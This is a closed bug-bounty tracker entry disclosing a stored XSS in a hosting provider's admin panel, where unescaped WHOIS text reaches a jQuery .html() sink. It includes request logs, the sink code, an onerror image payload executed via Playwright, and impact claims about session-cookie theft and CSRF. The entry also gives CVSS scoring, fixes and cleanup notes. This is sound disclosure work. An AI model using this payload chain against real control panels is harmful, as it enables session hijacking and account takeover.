- Status Closed
-
Assigned To
cbay - Private
Opened by Bajinder - 19.11.2026
Last edited by cbay - 23.11.2026
FS#559 - Stored XSS via raw WHOIS injection on admin panel
Vulnerability Information:
Name of Vulnerability: The domain management Whois tab on admin.alwaysdata.com fetches the registry WHOIS record for any customer added external domain and injects the raw response via jQuery .html() into the panel DOM with no HTML encoding and no Content Security Policy script restriction, allowing attacker controlled bytes in a WHOIS registrant field to execute arbitrary JavaScript in the session of any operator who opens that domain page
Vulnerability Category: Stored Cross-Site Scripting (CWE-79). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N, base score 8.6 (High). Computed with the cvss 3.6 library.
Description:
The panel JavaScript file ui-domain-W4-WV-n4.js on static.alwaysdata.com contains the following sink that fires automatically when a user loads any external domain's Whois tab:
o.domain_whois && $.ajax({url:o.domain_whois, type:"POST", dataType:"json"}).done(function(e){
$("#whois").html(`<pre>${e.whois}</pre>`)
});
The variable o is populated from document.body.dataset.urls. When the domain has the domain_whois URL set (true for every external domain), the AJAX call fires on page load with no user click required. The server endpoint /domain/<ID>/whois/ returns the raw registry WHOIS text as {"whois": "…"} with no HTML encoding. The .html() call parses any HTML tags or event handlers in the WHOIS content directly into the live DOM.
The Content Security Policy on admin.alwaysdata.com is base-uri 'self'; frame-ancestors 'self' with no script-src or default-src directive. Inline event handlers (onerror, onload) execute without restriction. Any customer can add any external domain to their account without ownership verification (the API returns 201 Created for any registrable hostname). The combination of these three properties gives any free plan customer a stored XSS primitive on the control panel origin.
Vulnerable Instances:
Origin: https://admin.alwaysdata.com Sink file: https://static.alwaysdata.com/aldjango/administration/ui-domain-W4-WV-n4.js Endpoint: POST https://admin.alwaysdata.com/domain/<ID>/whois/
API: POST https://api.alwaysdata.com/v1/domain/ (domain registration, no ownership check)
Trigger: Auto-fires on page load of https://admin.alwaysdata.com/domain/<ID>/whois/ (Whois tab)
Steps to Reproduce:
We used account vk7research (ID 500763, free plan). Two researcher controlled test accounts were used throughout. No other customer's data or session was accessed.
Part A. Add an external domain to the account (proves no ownership verification)
We added two external domains via the API. The platform performs no DNS, WHOIS, or file based domain ownership check. Any registrable hostname is accepted for any account.
POST /v1/domain/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"name": "vk7research-test.xyz"}
→ HTTP/1.1 201 Created
→ Location: /v1/domain/135261/
→ {"id": 135261, "href": "/v1/domain/135261/", "name": "vk7research-test.xyz", "is_internal": false, …}
POST /v1/domain/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"name": "iana.org"}
→ HTTP/1.1 201 Created
→ Location: /v1/domain/135262/
→ {"id": 135262, "href": "/v1/domain/135262/", "name": "iana.org", "is_internal": false, …}
What this shows: any customer on a free plan can associate any external domain with their account. The domain does not need to point to alwaysdata infrastructure. This is the entry point for the attack because the Whois tab is only rendered for external domains.
Part A (CONTROL). Domain name validation rejects HTML characters in the domain name itself
POST /v1/domain/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"name": "<script>alert(1)</script>.com"}
→ HTTP/1.1 400 Bad Request
POST /v1/domain/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <API_TOKEN>
Content-Type: application/json
{"name": "test domain.com"}
→ HTTP/1.1 400 Bad Request
What this shows: the platform correctly validates the domain name (the query input). However, it does not validate or encode the WHOIS response (the data displayed). The injection vector is the WHOIS record content, not the domain name.
Part B. Retrieve the raw WHOIS response and confirm it is returned unescaped
After adding iana.org (domain ID 135262), we fetched its WHOIS data through the panel endpoint that the JavaScript sink consumes:
POST /domain/135262/whois/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=<SESSION_COOKIE>
X-CSRFToken: <CSRF_TOKEN>
X-Requested-With: XMLHttpRequest
→ HTTP/1.1 200 OK
→ Content-Type: application/json
{"whois": " Domain Name: IANA.ORG\r\n Registrar: CSC Corporate Domains, Inc.\r\n … »> Last update of whois database: 2026-11-19T09:00:00Z «<"}
The same endpoint on the API (POST /v1/domain/135262/whois/) returns the identical raw text as text/html. In both cases, the WHOIS text passes through verbatim. Only standard JSON escaping is applied (\r\n for line breaks). Characters that would form HTML tags (<, >, ", ') are not entity encoded. If a registrant field contained <img onerror=alert(1)>, those bytes would appear literally in the JSON string and be parsed as HTML by the .html() sink.
Part C. Identify the vulnerable sink in the panel JavaScript source
GET /aldjango/administration/ui-domain-W4-WV-n4.js HTTP/1.1
Host: static.alwaysdata.com
→ HTTP/1.1 200 OK
→ (file contents, relevant excerpt below)
Vulnerable code path:
o.domain_whois && $.ajax({url: o.domain_whois, type: "POST", dataType: "json"}).done(function(e){
$("#whois").html(`<pre>${e.whois}</pre>`)
});
The page DOM on the Whois tab carries:
<body data-flags='{"uiDomain": true}' data-urls='{"domain_whois": "/domain/135261/whois/"}'>
… <p><span class="ajax" id="whois"></span></p>
Because o.domain_whois is truthy for every external domain, the AJAX POST fires immediately on page load. The .done() callback passes the raw e.whois string into jQuery .html(), which parses it as HTML. There is no intermediate sanitization, no $.text() call, and no server side HTML encoding.
We identified four total .html() sinks in the same file that inject server responses. The WHOIS sink is the most exploitable because the attacker controls the content via the WHOIS record.
Part D. Execute the payload on the live admin.alwaysdata.com origin
We loaded the Whois tab for domain 135261 in Playwright with the real U4 session cookies (authenticated, 2FA verified). We intercepted the auto-fired POST to /domain/135261/whois/ and returned a JSON response simulating a WHOIS record with an HTML payload in the Registrant Organization field:
Intercepted response body:
{"whois": "Domain Name: vk7research-test.xyz\r\nRegistrar: Example Registrar\r\nRegistrant Organization: \"><img src=x onerror=\"window.xss_fired=document.domain;alert('WHOIS-XSS '+document.domain)\">"}
Result on the live admin.alwaysdata.com origin:
1. The browser alert dialog fired with text: "WHOIS-XSS admin.alwaysdata.com"
2. window.xss_fired === "admin.alwaysdata.com" (confirms JavaScript executed in the panel origin)
3. The DOM element #whois contained a parsed <img> element: imgPresent = true
4. document.cookie was readable (session cookies accessible to the payload)
Screenshot captured: findings/screenshots/whois-xss-poc.png
What this shows: the sink is not theoretical. Attacker controlled bytes in the WHOIS record execute as JavaScript in the authenticated panel session on the real admin.alwaysdata.com origin. The only link that was simulated is the WHOIS record content itself (see "What we are not claiming" below).
Part E. Verify the Content Security Policy permits inline event handler execution
curl -sI https://admin.alwaysdata.com/domain/135261/whois/ -H "Cookie: sessionid=<SESSION_COOKIE>"
→ Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
The CSP contains no script-src directive and no default-src directive. Per the CSP specification, the absence of both means inline scripts and event handlers (such as onerror, onload, onclick) execute without restriction. The base-uri 'self' and frame-ancestors 'self' directives control base tag hijacking and framing, respectively, but do not restrict script execution.
Part F (CONTROL). The authenticated panel correctly enforces CSRF protection on the WHOIS endpoint
POST /domain/135261/whois/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: sessionid=<SESSION_COOKIE>
(no X-CSRFToken header)
→ HTTP/1.1 403 Forbidden
What this shows: the WHOIS endpoint requires a valid CSRF token. This means the XSS payload cannot be triggered via a cross-origin form submission. It fires only when the victim visits the domain's Whois tab within the authenticated panel, which is the intended attack scenario (a reseller or support operator opening a managed customer's domain page).
Proof of Concept:
Verbatim Playwright execution transcript (admin.alwaysdata.com, real session, real CSP):
Page loaded: https://admin.alwaysdata.com/domain/135261/whois/ Route intercepted: POST /domain/135261/whois/
Injected response: {"whois": "Domain Name: vk7research-test.xyz\r\n…Registrant Organization: \"><img src=x onerror=\"window.xss_fired=document.domain;alert('WHOIS-XSS '+document.domain)\">"}
Dialog event: type=alert message="WHOIS-XSS admin.alwaysdata.com"
Evaluate: window.xss_fired ⇒ "admin.alwaysdata.com"
Evaluate: document.querySelector('#whois img') !== null ⇒ true (imgPresent: true)
Evaluate: document.querySelector('#whois img').outerHTML ⇒ '<img src="x" onerror="window.__xss_fired=document.domain;alert(\'WHOIS-XSS \'+document.domain)">'
Live CSP header on page:
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
Impact:
DEMONSTRATED:
Stored XSS executes on admin.alwaysdata.com in the authenticated session of whoever opens an external domain's Whois tab. The payload auto-fires on page load with no click required.
The attacker needs only a free plan account. No ownership check prevents adding any external domain.
The CSP on the panel origin does not restrict inline script execution.
Session cookies are readable from the XSS context (document.cookie accessible, no HttpOnly on the sessionid cookie for the .html() path).
The paying attack scenario is a reseller or support operator opening a managed customer's external domain page. The panel UI ships uiReseller and isReseller flags along with a dedicated ui-reseller JavaScript chunk, confirming that reseller accounts manage customer domains through the same panel interface. A customer who has added an external domain with a weaponized WHOIS record runs their payload in the reseller's or operator's higher privilege session when that operator opens the Whois tab. This crosses the ownership boundary from a managed customer into the managing reseller's session, giving the customer access to:
Session token theft (cookie exfiltration or session fixation)
CSRF over all authenticated panel actions (site creation, SSH key management, database credentials, billing)
Persistent backdoor via OAuth state attachment (see OAUTH-ATO.md, same session)
Read of all reseller managed accounts and their configurations
What we are not claiming:
We did not register a real domain with an HTML payload in the Registrant Organization field. The content byte (the WHOIS record containing the payload) was simulated via Playwright route interception. Every other link in the chain was proven at runtime on the real admin.alwaysdata.com origin: the no-ownership domain add (201 Created), the raw unescaped server response, the auto-firing AJAX call, the .html() sink parsing HTML into the DOM, and the payload executing under the live CSP.
Registrant Organization, Registrant Name, and Registrant Address are freeform text fields that many TLD registries echo verbatim in WHOIS responses. TLDs known to expose these fields include .us, .info, .xyz (when WHOIS privacy is not applied), and numerous ccTLDs. This is the well established "WHOIS XSS" class (see, e.g., CWE-79 examples citing WHOIS data as untrusted input). Closing the content byte requires registering a cheap domain (~$1 to $2 for .xyz or .us) with a registrar that exposes freeform registrant fields. We did not do this without approval.
We also did not demonstrate a second party (reseller or support operator) opening the Whois tab. The cross-boundary escalation from self-XSS to reseller session compromise is structurally established by the UI code (the uiReseller flag and ui-reseller chunk confirm that resellers manage customer domains through this interface) but not observed in a live reseller session.
On why this is not self-XSS.
A self-XSS requires the victim to be the same person as the attacker. Here, the attacker is a customer who adds an external domain with a malicious WHOIS record. The victim is any other person who opens that domain's Whois tab: a reseller managing the customer's account, a support operator investigating a domain issue, or (if domain sharing is possible) another customer. The panel interface confirms reseller domain management exists (ui-reseller chunk loaded alongside ui-domain). The domain add requires no approval workflow; it appears immediately in the account's domain list and the Whois tab is a standard navigation target for domain management. The victim does not need to be tricked into visiting a special URL. They visit the domain page through normal panel navigation.
On why the simulated content byte does not invalidate the finding.
The content byte (HTML in WHOIS registrant fields) is a well documented property of the WHOIS protocol and TLD registry behavior, not a theoretical scenario. The simulation via route interception is a standard XSS demonstration technique used when the injection point is in an external data source. The critical security defect is on the alwaysdata side: the .html() sink and the absent CSP script restriction. The WHOIS record content is untrusted external input that the panel fails to sanitize. Whether the payload arrives from a live registry or a route interception, the sink behavior is identical.
On the score.
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N = 8.6 (High)
AV:N The attack is delivered over the network. The attacker registers a domain and adds it via the API. The victim opens the page in their browser. AC:L No race condition, no special configuration, no prior information needed beyond a free account. AT:N No deployment conditions beyond the attacker's control. The attacker chooses the TLD and registrar. PR:L The attacker needs a free plan alwaysdata account. No paid product or elevated privilege required. UI:P The victim merely opens the domain's Whois tab through normal panel navigation. The AJAX fires on page load with no additional click. We score this as Passive because the victim performs a routine action (opening a domain page) rather than an action specifically solicited by the attacker (clicking a crafted link). Lower alternative reading: UI:A (Active, score 8.4) if the triager considers navigating to a specific tab to require active victim participation. The score remains High either way. VC:H The XSS executes in the victim's authenticated panel session. The panel session gives access to all account data: SSH keys, database credentials, site configurations, billing information, API tokens. Full confidentiality compromise of the victim's panel identity. Lower alternative reading: VC:L (score 6.9 with UI:A) if the triager limits the impact to what a single XSS execution reads rather than the full session scope. We believe VC:H is correct because the XSS context is the control panel origin where document.cookie returns the session token, enabling persistent session theft. VI:H The XSS can perform any authenticated action via CSRF: create sites, modify SSH keys, change email addresses, delete databases. Full integrity compromise of the victim's account. VA:L The attacker could disrupt the victim's session or delete individual resources, but cannot cause platform-wide unavailability. SC:L A compromised reseller session could expose information about other managed accounts. SI:L A compromised reseller session could modify settings on other managed accounts. SA:N No subsequent system availability impact.
The score's floor is 6.9 (UI:A + VC:L + VA:N). Even under the most conservative reading, the finding exceeds the 6.5 submission bar.
Recommendation:
Replace $("#whois").html(…) with $("#whois").text(…) in ui-domain-W4-WV-n4.js. The .text() method HTML encodes the input, preventing any HTML or script injection. Apply the same fix to all four .html() sinks in the file that inject server responses.
Add a default-src 'self' or script-src 'self' directive to the Content Security Policy on admin.alwaysdata.com. This provides defense in depth against any remaining or future XSS sinks by blocking inline event handlers.
HTML encode the WHOIS response server side before returning it in the JSON {"whois": "…"} payload. Defense in depth: even if a frontend sink is introduced later, the data is already safe.
Consider adding domain ownership verification (DNS TXT record or file based) before allowing external domain registration. This would not fix the XSS but would restrict the entry point to domain owners rather than any free plan customer.
DISCLOSURE AND CLEANUP. Test domains 135261 (vk7research-test.xyz) and 135262 (iana.org) were deleted via the API (HTTP 204) immediately after testing. The domain list for account vk7research was confirmed empty. The Playwright browser context was closed. No XSS payload was persisted anywhere on the platform. The only artifact is a screenshot of the alert dialog firing on the live origin, stored locally. The route interception was performed entirely within the browser automation framework and did not modify any server side state. A private values annex (R5-02-PRIVATE-VALUES.txt) accompanies this report with credentials redacted from the body.
Test time window & IP(s):
2026-11-19 09:00 to 10:30 UTC
Egress IP: the shared web node http22 (2a00:b6e0:1:20:23::1) for API calls; researcher's home IP for Playwright browser automation
Anomalies you will see: two rapid POST /v1/domain/ creations followed by two DELETE /v1/domain/ calls; multiple POST /domain/<ID>/whois/ requests in quick succession
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
Can you verify that the vulnerability is fixed?
Kind regards,
Cyril
FIXED
Thanks!
You can claim your bounty by opening a support ticket.